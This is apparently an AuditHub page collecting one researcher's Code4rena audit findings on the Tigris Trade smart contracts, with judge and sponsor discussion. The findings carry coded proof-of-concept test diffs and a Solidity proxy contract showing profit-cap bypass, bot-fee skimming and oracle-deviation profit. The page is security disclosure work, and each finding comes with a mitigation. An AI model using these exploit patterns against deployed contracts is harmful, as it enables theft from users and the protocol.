Tigris Trade contest - 0xA5DF's results

A multi-chain decentralized leveraged exchange featuring instant settlement and guaranteed price execution on 30+ pairs.

General Information

Platform: Code4rena

Start Date: 09/12/2022

Pot Size: $90,500 USDC

Total HM: 35

Participants: 84

Period: 7 days

Judge: GalloDaSballo

Total Solo HM: 12

Id: 192

League: ETH

Tigris Trade

Findings Distribution

Researcher Performance

Rank: 7/84

Findings: 5

Award: $2,923.43

🌟 Selected for report: 4

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: hansfriese

Also found by: 0x52, 0xA5DF, bin2chen

Labels

bug
3 (High Risk)
satisfactory
duplicate-507

Awards

766.7669 USDC - $766.77

External Links

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L625-L627

Vulnerability details

Impact

Trader's profit from a position is supposed to be capped to maxWinPercent of the margin. However when closing only part of the position, the total margin of the position is used to calculate capping rather than the part of the margin that's being closed. This means a trader can bypass capping by closing the position in a few rounds, each time closing only part of the position.

Proof of Concept

I've modified the "Max win should be capped to 10x" test at Trading.js to test this scenario. In this case the initial margin is 1K$, and the profit without a cap is x50 = 50K$, with x10 cap set it's supposed to be 10K$. But with partial withdrawing it's actually possible to withdraw 42K$ (with more iterations it can get closer to the full 50K).

Diff:

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..3247eb2 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -2121,7 +2121,9 @@ describe("Trading", function () {
       let closeSig = await node.signMessage(
         Buffer.from(closeMessage.substring(2), 'hex')
       );
-      
+      for (let i = 0; i < 10; i++) {
+        await trading.connect(owner).initiateCloseOrder(1, 2e9, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
+      }
       await trading.connect(owner).initiateCloseOrder(1, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
       expect(await stabletoken.balanceOf(owner.address)).to.equal(parseEther("10000")); // Max win is Margin * 10 = $10,000
     });

Output:

1) Trading PnL calculations Max win should be capped to 10x: AssertionError: Expected "42134529433600000000000" to be equal 10000000000000000000000 + expected - actual { - "_hex": "0x021e19e0c9bab2400000" + "_hex": "0x08ec1e0f118e00c00000" "_isBigNumber": true }

Calculate the capping using the amount of margin that's being closed, rather than the total margin.

#0 - c4-judge

2022-12-22T02:07:45Z

GalloDaSballo marked the issue as duplicate of #111

#1 - TriHaz

2022-12-26T07:12:54Z

Duplicate of #507

#2 - c4-judge

2023-01-22T10:04:13Z

GalloDaSballo marked the issue as not a duplicate

#3 - c4-judge

2023-01-22T10:07:54Z

GalloDaSballo marked the issue as duplicate of #507

#4 - c4-judge

2023-01-22T17:40:36Z

GalloDaSballo marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0xA5DF

Also found by: 0x4non, 0xmuxyz, 8olidity, HollaDieWaldfee

Labels

bug
2 (Med Risk)
primary issue
selected for report
sponsor confirmed
M-09

Awards

215.3081 USDC - $215.31

External Links

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L247 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L285

Vulnerability details

Both BondNFT and GovNFT are an ERC721 implementation, they both also have a function named safeTransferMany() which its name implies is supposed to safe transfer many tokens at once. However the function doesn't actually safe transfer (doesn't )

Impact

Users might use this function, expecting it to verify that the receiver is an ERC721Receiver, but will get their funds stuck in a contract that doesn't support ERC721.

Proof of Concept

I've added the following tests to the GovNFT tests. 1st test will succeed (tx will revert) since safeTransferFrom() does actually use safe transfer. 2nd will fail (tx won't revert), since safeTransferMany() doesn't actually use a safe transfer.

diff --git a/test/05.GovNFT.js b/test/05.GovNFT.js
index 711a649..d927320 100644
--- a/test/05.GovNFT.js
+++ b/test/05.GovNFT.js
@@ -98,6 +98,14 @@ describe("govnft", function () {
       expect(await govnft.pending(owner.getAddress(), StableToken.address)).to.equal(1500);
       expect(await govnft.pending(user.getAddress(), StableToken.address)).to.equal(500);
     });
+
+    it("Safe transfer to non ERC721Receiver", async function () {
+      
+      expect(govnft.connect(owner)['safeTransferFrom(address,address,uint256)'](owner.address,StableToken.address, 2)).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");
+    });
+    it("Safe transfer many  to non ERC721Receiver", async function () {
+      await expect(govnft.connect(owner).safeTransferMany(StableToken.address, [2])).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");
+    });
     it("Transferring an NFT with pending delisted rewards should not affect pending rewards", async function () {
       await govnft.connect(owner).safeTransferMany(user.getAddress(), [2,3]);
       expect(await govnft.balanceOf(owner.getAddress())).to.equal(0);

Output (I've shortened the output. following test will also fail, since the successful transfer will affect them):

✔ Safe transfer to contract 1) Safe transfer many to contract 11 passing (3s) 1 failing 1) govnft Reward system related functions Safe transfer many to contract: AssertionError: Expected transaction to be reverted + expected - actual -Transaction NOT reverted. +Transaction reverted.

Call _safeTransfer() instead of _transfer().

#0 - GalloDaSballo

2022-12-20T15:53:58Z

Has coded POC -> Obvious winner

#1 - c4-judge

2022-12-20T15:54:02Z

GalloDaSballo marked the issue as primary issue

#2 - c4-sponsor

2023-01-10T16:36:35Z

TriHaz marked the issue as sponsor confirmed

#3 - GalloDaSballo

2023-01-13T19:02:35Z

The Warden has shown a discrepancy between the intent of the code and the actual functionality when it comes to the safeTransfer... function.

Because this finding is reliant on understanding the intention of the Sponsor, and in this case they have confirmed, I believe that the finding is valid and of Medium Severity, because the function was intended to be using the safe checks, but wasn't.

#4 - c4-judge

2023-01-13T19:02:42Z

GalloDaSballo marked the issue as selected for report

#5 - GainsGoblin

2023-01-29T01:43:36Z

Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175381 We decided that we do not want transfers to check that the receiver is implementing IERC721Receiver, so we renamed the functions.

Awards

1.4914 USDC - $1.49

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
primary issue
satisfactory
selected for report
sponsor acknowledged
edited-by-warden
M-12

External Links

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L222-L230 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L78-L83 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L38-L46 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L48

Vulnerability details

The project heavily relies on nodes/oracles, which are EOAs that sign the current price. Since all functions (including withdrawing) require a recently-signed price, the owner(s) of those EOA can freeze all activity by not providing signed prices.

I got from the sponsor that the owner of the contract is going to be a timelock contract. However, once the owner holds the power to pause withdrawals - that nullifies the timelock. The whole point of the timelock is to allow users to withdraw their funds when they see a pending malicious tx before it's executed. If the owner has the power to freeze users' funds in the contract, they wouldn't be able to do anything while the owner executes his malicious activity.

Besides that, there are also LP funds, which are locked to a certain period, and also can't withdraw their funds when they see a pending malicious timelock tx.

Impact

The owner (or attacker who steals the owner's wallet) can steal all user's funds.

Proof of Concept

  • The fact that the protocol relies on EOA signatures is pretty clear from the code and docs
  • The whole project relies on the 'StableVault' and 'StableToken'
    • The value of the 'StableToken' comes from the real stablecoin that's locked in 'StableVault', if someone manages to empty the 'StableVault' from the deposited stablecoins the 'StableToken' would become worthless
  • The owner has a few ways to drain all funds:
    • Replace the minter via StableToken.setMinter(), mint more tokens, and redeem them via StableVault.withdraw()
    • List a fake token at StableVault, deposit it and withdraw real stablecoin
    • List a new fake asset for trading with a fake chainlink oracle, fake profit with trading with fake prices, and then withdraw
      • They can prevent other users from doing the same by setting maxOi and opening position in the same tx
    • Replace the MetaTx forwarder and execute tx on behalf of users (e.g. transferring bonds, positions and StableToken from their account)
  • Rely on a contract (chainlink/Uniswap) solely as an oracle
  • Alternately, add functionality to withdraw funds at the last given price in case no signed data is given for a certain period
    • You can do it by creating a challenge in which a user requests to close his position at a recent price, if no bot executes it for a while it can be executed at the last recorded price.
  • As for LPs' funds, I don't see an easy way around it (besides doing significant changes to the architecture of the protocol), this a risk LPs should be aware of and decide if they're willing to accept

#0 - GalloDaSballo

2022-12-22T00:41:37Z

Will most likely make this the main Admin Privilege and bulk every other one under it

#1 - TriHaz

2023-01-10T17:22:57Z

We are aware of the centralization risks, owner of contracts will be a timelock and owner will be a multi sig to reduce the centralization for now until it's fully controlled by DAO.

#2 - c4-sponsor

2023-01-10T17:23:06Z

TriHaz marked the issue as sponsor acknowledged

#3 - c4-sponsor

2023-01-10T17:23:13Z

TriHaz marked the issue as disagree with severity

#4 - c4-judge

2023-01-15T13:51:13Z

GalloDaSballo changed the severity to 2 (Med Risk)

#5 - c4-judge

2023-01-15T13:54:26Z

GalloDaSballo marked the issue as primary issue

#6 - GalloDaSballo

2023-01-15T13:58:21Z

Missing setFees, but am grouping generic reports under this one as well

#7 - GalloDaSballo

2023-01-15T16:04:42Z

Also missing changes to Trading Extension and Referral Fees

#8 - GalloDaSballo

2023-01-15T16:06:54Z

This report, in conjunction with #648 effectively covers all "basic" admin privilege findings, more nuanced issues are judged separately

#9 - c4-judge

2023-01-22T17:35:29Z

GalloDaSballo marked the issue as satisfactory

#10 - c4-judge

2023-01-22T17:35:37Z

GalloDaSballo marked the issue as selected for report

Awards

1.4914 USDC - $1.49

Labels

bug
2 (Med Risk)
satisfactory
sponsor acknowledged
duplicate-377

External Links

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L114-L120

Vulnerability details

The project relies on EOAs to verify the price via signatures. The project has an optional verification of the price via Chainlink - the price can deviate up to 2% from Chainlink's price. If the Chainlink verification is disabled it's clear that there's a huge centralization risk here, but even when it's enabled - that 2% can become very significant with leverage. E.g. with a leverage of x100 a malicious node can make a profit of ~400% within minutes (opening long at a price low by 2% and closing at a price high by 2%).

Impact

Oracle/node owners can steal from the project and drive it toward insolvency.

Proof of Concept

The docs state:

Prices provided by the oracle network are also compared to Chainlink's public price feeds for additional security. If prices have more than a 2% difference the transaction is reverted.

I've confirmed with the sponsor that a x100 leverage is reasonable.

Here's a coded PoC, where the trader invests 1K$ and gets back 4.47K$:

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..92637a1 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -2530,12 +2530,12 @@ describe("Trading", function () {
       await pairscontract.connect(owner).setAssetChainlinkFeed(0, chainlink.address);
       await tradingExtension.connect(owner).setChainlinkEnabled(true);
       await chainlink.connect(owner).setPrice(200000000000000); // 20000e10
-      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("5"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
-      let openPriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
+      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("100"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let openPriceData = [node.address, 0, parseEther("19601"), 0, 2000000000, false];
       let openMessage = ethers.utils.keccak256(
         ethers.utils.defaultAbiCoder.encode(
           ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
-          [node.address, 0, parseEther("20000"), 0, 2000000000, false]
+          [node.address, 0, parseEther("19601"), 0, 2000000000, false]
         )
       );
       let openSig = await node.signMessage(
@@ -2543,10 +2543,37 @@ describe("Trading", function () {
       );
       
       let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
+
+      let balanceBefore = await stabletoken.balanceOf(owner.address);
+      let tx, receipt;
       await trading.connect(owner).initiateMarketOrder(TradeInfo, openPriceData, openSig, PermitData, owner.address);
-      expect(await position.assetOpenPositionsLength(0)).to.equal(1);
+
+
+
+      let closePriceData = [node.address, 0, parseEther("20399"), 0, 2000000000, false];
+      let closeMessage = ethers.utils.keccak256(
+        ethers.utils.defaultAbiCoder.encode(
+          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
+          [node.address, 0, parseEther("20399"), 0, 2000000000, false]
+        )
+      );
+      let closeSig = await node.signMessage(
+        Buffer.from(closeMessage.substring(2), 'hex')
+      );
+
+
+      tx = await trading.connect(owner).initiateCloseOrder(1, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
+      receipt = await tx.wait();
+      let event = receipt.events.filter(x => x.event == 'PositionClosed');
+      console.log({event, args: event[0].args});
+
+      let balanceAfter = await stabletoken.balanceOf(owner.address);
+
+      console.log({balanceBefore,balanceAfter});
+      
     });
   });
+  return; // don't execute any further tests
   describe("Open interest calculations", function () {
     it("Should work correctly on long, short, full and partial close", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, 0, 0, ethers.constants.HashZero];

Rely on a smart contract Oracle like Chainlink or Uniswap. Alternately, set the deviation relative to the maxLeverage of the asset (I guess higher leverage means a less volatile asset, therefore the deviation should be lower) - this will partly mitigate the issue.

#0 - c4-judge

2022-12-23T17:48:38Z

GalloDaSballo marked the issue as primary issue

#1 - TriHaz

2023-01-09T18:03:30Z

We are aware of the centralization risks, a more decentralized oracle solution will be implemented in the future.

#2 - c4-sponsor

2023-01-09T18:03:39Z

TriHaz marked the issue as sponsor acknowledged

#3 - c4-judge

2023-01-15T13:54:57Z

GalloDaSballo marked the issue as duplicate of #377

#4 - c4-judge

2023-01-23T09:05:05Z

GalloDaSballo marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0xA5DF

Labels

bug
2 (Med Risk)
judge review requested
selected for report
sponsor confirmed
M-17

Awards

1640.8181 USDC - $1,640.82

External Links

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L565-L576

Vulnerability details

Impact

Bot fees are used when a position is opened/closed via a bot. In that case a bot fee is subtracted from the dao fee and sent to the closing bot. A user can use that to to reduce the dao fees for closing an order and keep it to themselves. Instead of closing the order via initiateClose(), the user can use a proxy contract to update the stop-loss value and then limitClose() the order. Since that is done in one function call, no bot can run the limitClose() and the bot fee will go to the user.

Proof of Concept

The following PoC shows how a trade is closed by a proxy contract that sets the limit and closes it via limitClose():

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..e50b0cc 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -17,6 +17,7 @@ describe("Trading", function () {
 
   let TradingExtension;
   let tradingExtension;
+  let myTrader;
 
   let TradingLibrary;
   let tradinglibrary;
@@ -37,7 +38,7 @@ describe("Trading", function () {
 
   let MockDAI;
   let MockUSDC;
-  let mockusdc;
+  let mockusdc, mockdai;
 
   let badstablevault;
 
@@ -55,6 +56,7 @@ describe("Trading", function () {
     const Position = await deployments.get("Position");
     position = await ethers.getContractAt("Position", Position.address);
     MockDAI = await deployments.get("MockDAI");
+    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
     MockUSDC = await deployments.get("MockUSDC");
     mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
     const PairsContract = await deployments.get("PairsContract");
@@ -84,6 +86,10 @@ describe("Trading", function () {
     TradingLibrary = await deployments.get("TradingLibrary");
     tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
     await trading.connect(owner).setLimitOrderPriceRange(1e10);
+
+
+    let mtFactory = await ethers.getContractFactory("MyTrader");
+    myTrader = await mtFactory.deploy(Trading.address, Position.address);
   });
   describe("Check onlyOwner and onlyProtocol", function () {
     it("Set max win percent", async function () {
@@ -536,6 +542,31 @@ describe("Trading", function () {
       expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Trade has opened
       expect(await stabletoken.balanceOf(owner.address)).to.equal(parseEther("0")); // Should no tigAsset left
     });
+
+    it("Test my trader", async function () {
+      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
+      let message = ethers.utils.keccak256(
+        ethers.utils.defaultAbiCoder.encode(
+          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
+          [node.address, 0, parseEther("20000"), 0, 2000000000, false]
+        )
+      );
+      let sig = await node.signMessage(
+        Buffer.from(message.substring(2), 'hex')
+      );
+      
+      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
+      await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
+
+
+      await trading.connect(owner).approveProxy(myTrader.address, 1e10);
+      await myTrader.connect(owner).closeTrade(1, PriceData, sig);
+
+
+    });
+  return;
+
     it("Closing over 100% should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
       let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
@@ -551,8 +582,10 @@ describe("Trading", function () {
       
       let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
       await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
+
       await expect(trading.connect(owner).initiateCloseOrder(1, 1e10+1, PriceData, sig, StableVault.address, StableToken.address, owner.address)).to.be.revertedWith("BadClosePercent");
     });
+    return;
     it("Closing 0% should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
       let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
@@ -700,6 +733,7 @@ describe("Trading", function () {
       expect(margin).to.equal(parseEther("500"));
     });
   });
+  return;
   describe("Trading using <18 decimal token", async function () {
     it("Opening and closing a position with tigUSD output", async function () {
       await pairscontract.connect(owner).setAssetBaseFundingRate(0, 0); // Funding rate messes with results because of time

MyTrader.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ITrading} from "../interfaces/ITrading.sol";
import "../utils/TradingLibrary.sol";
import "../interfaces/IPosition.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";




contract MyTrader{

    ITrading trading;
    IPosition position;

    receive() payable external{

    }

    constructor(address _trading, address _position){
        trading = ITrading(_trading);
        position = IPosition(_position);
    }

    function closeTrade(
        uint _id,
        PriceData calldata _priceData,
        bytes calldata _signature
    ) public{
        bool _tp = false;
        
        trading.updateTpSl(_tp, _id, _priceData.price, _priceData, _signature, msg.sender);
        trading.limitClose(_id, _tp, _priceData, _signature);

        
    }

}

Don't allow updating sl or tp and

#0 - GalloDaSballo

2022-12-22T14:58:08Z

Looks valid, but would like to hear the Sponsor's comment about impact and if this is intended or not

#1 - 0xA5DF

2022-12-22T15:02:11Z

Thanks, the submission text got truncated for some reason. Just want to clarify that the mitigation is supposed to be 'Don't allow updating sl or tp and executing limitClose() at the same block'

#2 - TriHaz

2023-01-06T00:38:52Z

Valid and will be confirmed, but not sure about the severity, as the protocol will not lose anything because fees would be paid to another bot anyway, would like an opinion from a judge.

#3 - c4-sponsor

2023-01-06T00:39:01Z

TriHaz marked the issue as sponsor confirmed

#4 - c4-sponsor

2023-01-06T00:39:08Z

TriHaz requested judge review

#5 - GalloDaSballo

2023-01-17T11:32:28Z

With the information that I have:

  • System invariants are not broken
  • No loss of value

Ordinary operation, which for convenience can be performed by a bot, is being operated by someone else

Because all security invariants are still holding, but the behaviour may be a gotcha, I believe QA Low to be the most appropriate severity in lack of a value leak

L

#6 - c4-judge

2023-01-17T11:32:40Z

#7 - GalloDaSballo

2023-01-27T14:54:21Z

SL Can be equal to current price https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L836-L837

            if (_sl > _price) revert("3"); //BadStopLoss

Gas cost is cheaper in size than fees (1%, from test) <img width="983" alt="Screenshot 2023-01-27 at 15 19 28" src="https://user-images.githubusercontent.com/13383782/215108736-d9af402c-ee4a-4a93-9444-644b33bf226e.png">

This allows to close the order without paying the fee, which is not the intended behaviour.

In one case ("the exploit") you get the fee, your payout is the same, you saved the fee In the other case, you don't pay the fee, your payout is the same, you paid the fee

Below my annotated code with an example math

            _daoFeesPaid = _daoFeesPaid - _botFeesPaid;
            // _daoFeesPaid = 200 - 100
            // 100
            // _daoFeesPaid = 200 - 0
        }
        emit FeesDistributed(_tigAsset, _daoFeesPaid, _burnFeesPaid, _referralFeesPaid, _botFeesPaid, _referrer);
        payout_ = _payout - _daoFeesPaid - _burnFeesPaid - _botFeesPaid;
        
        // Payout = 1000 - 100 - 0 - 100
        // Received = 800 + 100
        
        // Payout = 1000 - 200 - 0 - 0
        // Received = 800

In contrast, if the fee was paid outside of the DAO fee, you'd have a situation where:

  • DAO always get's X% Fee
  • Bot always receive the Fee, but user can self broadcast to save on the fee

Given the economic incentive to always use limitClose and the fact that this sidesteps the fee, by abusing the fact that a Stop Loss can be set to the currently valid price (instead of being a future stop loss, which should prevent additional risks), am raising to Medium

See the updated test I wrote

 it.only("Test my trader", async function () {
      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
      let PriceDataTwo = [node.address, 0, parseEther("19000"), 0, 1900000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 0, parseEther("20000"), 0, 2000000000, false]
        )
      );
      let messageTwo = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 0, parseEther("19000"), 0, 1900000000, false]
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      let sigTwo = await node.signMessage(
        Buffer.from(messageTwo.substring(2), 'hex')
      );
      
      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
      await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
      await trading.connect(owner).approveProxy(myTrader.address, 1e10);
      await myTrader.connect(owner).closeTrade(1, PriceDataTwo, sigTwo);

    });

Thank you @0xA5DF for the tenacity

#8 - Simon-Busch

2023-01-27T16:19:26Z

Change the severity back to Medium and removed duplicate label as requested by @GalloDaSballo

#9 - c4-judge

2023-01-27T16:23:08Z

GalloDaSballo marked the issue as selected for report

#10 - GalloDaSballo

2023-01-27T16:24:51Z

Per the discussion above, the Warden has shown how, any user can setup a contract to avoid paying botFees, because these are subtracted to DaoFees, these are not just a loss of yield to the DAO, but they are a discount to users, which in my opinion breaks the logic for fees.

Because the finding pertains to a loss of Yield, I raised the report back to Medium Severity.

I'd like to thank @0xA5DF for the clarifications done in post-judging triage

#11 - GainsGoblin

2023-01-29T22:51:18Z

Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419176433

'Don't allow updating sl or tp and executing limitClose() at the same block'

The recommended mitigation wouldn't work, because this would result in a separate high-severity risk. We decided on tracking the timestamp of the last limit order update, and if the order gets executed before a second has passed then the bot doesn't earn bot fees. This gives every bot a fair chance at being rewarded without incentivizing the trader to execute their own order.

Findings Information

🌟 Selected for report: 0xA5DF

Also found by: HollaDieWaldfee, Jeiwan, KingNFT

Labels

bug
2 (Med Risk)
primary issue
selected for report
sponsor confirmed
M-21

Awards

299.0391 USDC - $299.04

External Links

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L513-L517

Vulnerability details

The PairsContract registeres the total long/short position that's open for a pair of assets, whenever a new position is created the total grows accordingly. However at executeLimitOrder() the position size that's added is wrongly calculated - it uses margin before fees, while the actual position is created after subtracting fees.

Impact

The OpenInterest would register wrong values (11% diff in the case of PoC), which will distort the balance between long and short positions (the whole point of the OpenInterest is to balance them to be about equal).

Proof of Concept

In the following test, an order is created with a x100 leverage, and the position size registered for OI is 11% greater than the actual position created.

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..dfb7f98 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -778,7 +778,7 @@ describe("Trading", function () {
      */
     it("Creating and executing limit buy order, should have correct price and bot fees", async function () {
       // Create limit order
-      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("100"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
       let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
       await trading.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("20000"), PermitData, owner.address);
       expect(await position.limitOrdersLength(0)).to.equal(1); // Limit order opened
@@ -787,6 +787,9 @@ describe("Trading", function () {
       await network.provider.send("evm_increaseTime", [10]);
       await network.provider.send("evm_mine");
 
+      let count = await position.getCount();
+      let id = count.toNumber() - 1;
+
       // Execute limit order
       let PriceData = [node.address, 0, parseEther("10000"), 10000000, 2000000000, false]; // 0.1% spread
       let message = ethers.utils.keccak256(
@@ -798,8 +801,22 @@ describe("Trading", function () {
       let sig = await node.signMessage(
         Buffer.from(message.substring(2), 'hex')
       );
+      // trading.connect(owner).setFees(true,3e8,1e8,1e8,1e8,1e8);
       
-      await trading.connect(user).executeLimitOrder(1, PriceData, sig);
+
+      let oi = await pairscontract.idToOi(0, stabletoken.address);
+      expect(oi.longOi.toNumber()).to.equal(0);
+      console.log({oi, stable:stabletoken.address});
+
+      await trading.connect(user).executeLimitOrder(id, PriceData, sig);
+      let trade = await position.trades(id);
+      console.log(trade);
+      oi = await pairscontract.idToOi(0, stabletoken.address);
+      console.log(oi);
+
+      expect(oi.longOi.div(10n**18n).toNumber()).to.equal(trade.margin.mul(trade.leverage).div(10n**18n * 10n**18n).toNumber());
+
+
       expect(await position.limitOrdersLength(0)).to.equal(0); // Limit order executed
       expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Creates open position
       expect((await trading.openFees()).botFees).to.equal(2000000);
@@ -807,6 +824,7 @@ describe("Trading", function () {
       let [,,,,price,,,,,,,] = await position.trades(1);
       expect(price).to.equal(parseEther("20020")); // Should have guaranteed execution price with spread
     });
+    return;
     it("Creating and executing limit sell order, should have correct price and bot fees", async function () {
       // Create limit order
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, false, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
@@ -1606,6 +1624,7 @@ describe("Trading", function () {
       expect(await stabletoken.balanceOf(user.address)).to.equal(parseEther("1.5"));
     });
   });
+  return;
   describe("Modifying functions", function () {
     it("Updating TP/SL on a limit order should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];

Output:

1) Trading Limit orders and liquidations Creating and executing limit buy order, should have correct price and bot fees: AssertionError: expected 100000 to equal 90000 + expected - actual -100000 +90000

Correct the calculation to use margin after fees.

#0 - GalloDaSballo

2022-12-22T00:29:22Z

Coded POC with Math -> Best

#1 - c4-judge

2022-12-22T00:29:26Z

GalloDaSballo marked the issue as primary issue

#2 - TriHaz

2023-01-07T09:29:37Z

I think I confirmed a similar issue.

#3 - c4-sponsor

2023-01-07T09:29:41Z

TriHaz marked the issue as sponsor confirmed

#4 - GalloDaSballo

2023-01-17T15:13:48Z

The Warden has highlighted an discrepancy in how OpenInterest is calculated, the math should cause issues in determining funding rates, however the submission doesn't show a way to reliably extract value from the system.

Because of this, I believe the finding to be of Medium Severity

#5 - c4-judge

2023-01-22T17:54:04Z

GalloDaSballo marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter